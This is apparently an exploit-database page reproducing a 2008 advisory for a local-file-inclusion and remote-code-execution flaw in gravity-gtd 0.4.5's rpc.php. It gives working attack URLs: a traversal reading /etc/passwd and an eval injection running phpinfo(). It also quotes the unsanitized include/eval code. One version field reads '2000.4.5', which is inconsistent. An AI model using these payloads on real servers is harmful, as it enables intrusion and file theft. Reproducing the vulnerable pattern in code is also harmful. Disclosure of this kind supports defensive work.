gravity-gtd - exploit.company

vendor:

gravity-gtd

by:

dun

9.3

CVSS

HIGH

LFI/RCE

CWE

Product Name: gravity-gtd

Affected Version From: 2000.4.5

Affected Version To: 2000.4.5

Patch Exists: YES

Related CWE: N/A

CPE: a:gravity-gtd:gravity-gtd:0.4.5

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

gravity-gtd <= 0.4.5 LFI/RCE Vulnerability

An open source list manager for tracking action items according to the principles of Getting Things Done (GTD) is vulnerable to LFI/RCE. The vulnerability exists in the file rpc.php (lines: 15-20) where the user input is not properly sanitized. This allows an attacker to inject malicious code and execute it on the server.

Mitigation:

The user input should be properly sanitized to prevent malicious code injection.

Source

Exploit-DB raw data:

  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #####################################################
 #  [ gravity-gtd <= 0.4.5 ]  LFI/RCE Vulnerability  #
 #####################################################
 #
 # Script: An open source list manager for tracking action items according to the principles of Getting Things Done (GTD).
 #
 # Download: http://sourceforge.net/projects/gravity-gtd/
 #
 # [LFI] Vuln: http://site.com/gravity/library/setup/rpc.php?objectname=/../../../../../../../../etc/passwd%00
 # [RCE] Vuln: http://site.com/gravity/library/setup/rpc.php?objectname=Xmenu();phpinfo();die
 #     
 # Bug: ./gravity-0.4.5/library/setup/rpc.php (lines: 15-20)
 #
 # ...
 #		$objectName = $_REQUEST['objectname'];
 #
 #
 #		include  ("../objects/class.".strtolower($objectName).".php");				// LFI
 #
 #		eval ('$instance = new '.$objectName.'();');								// RCE
 # ... 	 
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-12-04]